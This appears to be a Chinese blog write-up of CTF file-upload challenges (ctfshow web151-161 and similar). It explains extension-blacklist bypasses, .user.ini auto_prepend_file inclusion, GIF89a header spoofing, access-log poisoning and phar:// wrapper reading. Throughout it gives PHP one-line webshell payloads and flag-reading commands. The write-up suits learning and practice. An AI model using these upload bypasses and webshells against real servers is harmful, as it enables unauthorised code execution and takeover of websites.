当前位置: 首页 > news >正文

ctfshow-文件上传-151-161

CTFshow文件上传

PHP文件上传:1、代码思路

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。

2、绕过

找漏网之鱼:cer、php3、php4、phtml等。

大小写绕过:AsP、PhP

双写绕过:.pphphp

上传文件后,在后缀加上123.php可以执行刚刚上传的文件

web151:首先上传一个文件,发现不行,要求是图片格式,我们可以直接查看源代码修改一下上传文件的格式就行,把png那一部分删除掉,并且把文件类型改为file

web153: 在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?php eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php');

web154:在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?=eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php'); 或者打开蚁剑进行连接寻找目录

web155:payload和上题一样

web156:写入一句话木马的时候报错,使用排除法发现是POST[1]这边会错误,所以把[]改为{}就可以了

web157:写入一句话木马的时候会报错。使用排除法发现是分号不可用,POST[1]也不可以用,所以我们使用<?=eval(array_pop($_POST))?>,这个函数来执行一句话木马

web158:payload与157一样

web159:过滤了括号,分号,中括号大括号;但是我们可以直接把1.txt的内容改为<?=`tac /var/www/html/flag.p??`?>,直接进行绕过,使用<?=`tac f*`?>不知道为什么不可以,但是WP那边可以

web160:刚开始和之前的步骤还是一模一样,先打开F12改一下源码,把文件类型改为文件

然后打开BP开始抓

修改文件内容。名字和类型还有内容都要修改,

文件类型改为:image/png.

文件内容改为:auto_prepend_file=1.txt

文件名字改为:.user.ini

上传后再上传一个1.txt文件,文件内容为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这样就可以查看日志文件了,然后在upload界面添加User-Agent头文件内容为一句话木马<php eval($_POST[1]);>,然后用蚁剑连接一下这个服务器,找到flag.php就可以找到flag了

web161:发现怎么传都显示错误,后面发现是文件头那边需要改为GIF89a才可以绕过,伪造图片文件头 GIF89a,

其余部分与上方一致

攻防世界:easyupload

这道题目试了很久很久,我直接上传文件也传不了,有时候提示说你的文件很危险,我们提交一下GIF89a,然后就可以消除这个,还有一个说文件类很危险,我排除出来是<?php eval($_POST[1])?>有问题,所以我们就应该把一句话木马改一下

拓展:

auto_prepend_file的用法:

auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?

例如在.user.ini文件中写入

auto_prepend_file=a.jpg

然后在a.jpg中写入一个一句话代码

<?=eval($_REQUEST['cmd']);?>

那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。

将写好的.user.ini文件上传,修改content-type为图片格式

和上面的题目没什么区别,只是一句话木马那边有区别。

最后蚁剑拿下,这边一定要找到上传点在哪里,然后再去用蚁剑链接,要不然是不行的

phar伪协议读取文件上传

这道题目只能上传压缩包和图片格式

我们把php文件压缩成zip格式

发现上传成功,这时候我们需要将bingdundun用phar伪协议读取里面的3.php文件,然后POST:1=phpinfo()看看有没有上传成功

之后通过蚁剑进行连接就可以了

http://www.lryc.cn/news/467297.html

相关文章:

  • 【Windows】Microsoft Office 的 .docx .xlsx .pptx 等文件图标消失,变成空白图标
  • 场景化运营与定制开发链动 2+1 模式 S2B2C 商城小程序的融合
  • Axure中继器实现时间读取和修改
  • 数据库聚合函数
  • DevOps的文化观与工具
  • create-vite my-vite-uniapp-project
  • DC系列靶机-DC8
  • 重构复杂简单变量之用对象替换数据值
  • 我国首个自主可控的操作系统——华为原生鸿蒙操作系统正式发布
  • Spring Boot技术栈在论坛网站开发中的应用
  • Fast-LLM:加速大型语言模型训练的开源库
  • 物理安全(Physical Security)
  • Go语言开发环境搭建
  • 嵌入式硬件设计:技术与实践
  • vue中使用echarts,导入JSON数据画图
  • 【C++篇】探索STL之美:熟悉使用String类
  • ETLCloud搭配MySQL | 让关系型数据库更智能
  • Java 开发——(上篇)从零开始搭建后端基础项目 Spring Boot 3 + MybatisPlus
  • Psychophysiology:脑-心交互如何影响个体的情绪体验?
  • FunASR实时语音识别内网部署 | 无网络环境中的实时语音识别 | 实时语音识别
  • 【设计模式-状态模式】
  • 【代码随想录Day50】图论Part02
  • 帝国CMS 内容页调用上一篇下一篇的方法(精华汇总)
  • (7)c++复合数据类型之数组
  • 2.1 > Shell 是什么、如何更熟练的使用 Bash Shell
  • YOLO V3 网络构架解析
  • 【zlm】 webrtc源码讲解(二)
  • 5G RedCap工业路由器赋能电力物联网应用
  • 029.浏览器自动化-抓取#document下的内容
  • 2024前端html5,css3面试题总汇